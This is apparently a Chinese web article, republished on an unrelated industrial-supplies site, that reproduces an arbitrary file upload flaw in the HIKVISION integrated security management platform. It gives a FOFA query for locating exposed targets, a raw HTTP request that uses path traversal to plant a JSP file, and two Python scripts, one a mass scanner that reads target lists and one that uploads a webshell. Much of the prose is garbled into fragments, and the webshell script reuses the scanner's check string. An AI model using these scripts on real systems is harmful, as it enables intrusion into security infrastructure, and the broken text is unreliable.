推广 热搜: 采购方式  甲带  滤芯  气动隔膜泵  减速机  减速机型号  履带  带式称重给煤机  无级变速机  链式给煤机 

HiKVISION综合安防管理平台任意文件上传漏洞复现(附poc和exp)

   日期:2023-09-12 07:13:24     来源:网络整理    作者:本站编辑    浏览:14    评论:0    

使

HiKVISION综合安防管理平台任意文件上传漏洞

HiKVISION综合安防管理平台

HiKVISION综合安防管理平台 /center/api/files;.js 者可以传木马webshell。

FOFA

app="HIKVISION-综合安防管理平台"

ndbmaabfueriigbjadss12345jsp

POST /center/api/files;.js HTTP/1.1Host: xx.xx.xx.xx:1443Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxmdzwoeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
------WebKitFormBoundaryxxmdzwoeContent-Disposition: form-data; name="upload";filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/ukgmfyufsi.jsp"Content-Type:image/jpeg
<%out.println("pboyjnnrfipmplsukdeczudsefxmywex");%>------WebKitFormBoundaryxxmdzwoe--

path访

HTTP/1.1 200 Cache-Control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: application/json;charset=UTF-8Content-Length: 337Set-Cookie: JSESSIONID=73715E162ED9A0675D10A1644EEB3F12; Path=/center; HttpOnly;secureContent-Language: zh_CNExpires: 0Content-Disposition: inline;filename=f.txtDate: Mon, 11 Sep 2023 02:26:26 GMT
{"code":"0","data":{"filename":"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/ukgmfyufsi.jsp","link":"http://192.168.240.1:8001/download1/center_faq/resource/5dab28a3-485a-4928-b358-0c73d3f2c40a/../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/ukgmfyufsi.jsp","id":"5dab28a3-485a-4928-b358-0c73d3f2c40a"},"msg":""}

https://xx.xx.xx.xx:1443/clusterMgr/ukgmfyufsi.jsp;.js

poc

pythonC:\Users\DELL\Desktop\1004.txturl

import argparseimport timeimport requests
def get_url(file): with open('{}'.format(file),'r',encoding='utf-8') as f: for i in f: i = i.replace('\n', '') send_req(i)
def write_result(content): f = open("result.txt", "a", encoding="UTF-8") f.write('{}\n'.format(content)) f.close()

def send_req(url_check): print('{} runing Check'.format(url_check)) url = url_check + '/center/api/files;.js' header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryxxmdzwoe' } data = ( "------WebKitFormBoundaryxxmdzwoe\r\n" 'Content-Disposition: form-data; name="upload";filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/ukgmfyufsi1.jsp"\r\n' 'Content-Type:image/jpeg\r\n' "\r\n" '<%out.println("pboyjnnrfipmplsukdeczudsefxmywex");%>\r\n' "------WebKitFormBoundaryxxmdzwoe--\r\n" ) try: requests.packages.urllib3.disable_warnings() response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3) url2 = "{}/clusterMgr/ukgmfyufsi1.jsp;.js".format(url_check) res2 = requests.get(url2, verify=False) if response.status_code == 200 and res2.status_code == 200 and "pboyjnnrfipmplsukdeczudsefxmywex" in res2.text: result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} \n'.format(url_check,url2) print(result) write_result(result) time.sleep(1) except Exception as e: pass
if __name__ == '__main__':    file = r"C:\Users\DELL\Desktop\1004.txt" get_url(file)

exp

使,复制文本payload,运行脚本webshell

import argparseimport timeimport requests
def get_url(file): with open('{}'.format(file),'r',encoding='utf-8') as f: for i in f: i = i.replace('\n', '') send_req(i)
def write_result(content): f = open("result.txt", "a", encoding="UTF-8") f.write('{}\n'.format(content)) f.close()

def send_req(url_check): print('{} runing Check'.format(url_check)) url = url_check + '/center/api/files;.js' header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryxxmdzwoe' } payload = ""# 木马文件内容 data = ( "------WebKitFormBoundaryxxmdzwoe\r\n" 'Content-Disposition: form-data; name="upload";filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/ukgmfyufsi1.jsp"\r\n' 'Content-Type:image/jpeg\r\n' "\r\n" '<%out.println("{}");%>\r\n' "------WebKitFormBoundaryxxmdzwoe--\r\n" ).format(payload) try: requests.packages.urllib3.disable_warnings() response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3) url2 = "{}/clusterMgr/ukgmfyufsi1.jsp;.js".format(url_check) res2 = requests.get(url2, verify=False) if response.status_code == 200 and res2.status_code == 200 and "pboyjnnrfipmplsukdeczudsefxmywex" in res2.text: result = '{} webshell上传成功! url:{} 密码:mypasswd\n'.format(url_check,url2) print(result) write_result(result) time.sleep(1) except Exception as e: pass
if __name__ == '__main__': file = r"C:\Users\DELL\Desktop\1004.txt" get_url(file)
 
打赏
 
更多>同类资讯
0相关评论

推荐图文
推荐资讯
点击排行
网站首页  |  关于我们  |  联系方式  |  使用协议  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报  |  皖ICP备20008326号-18
Powered By DESTOON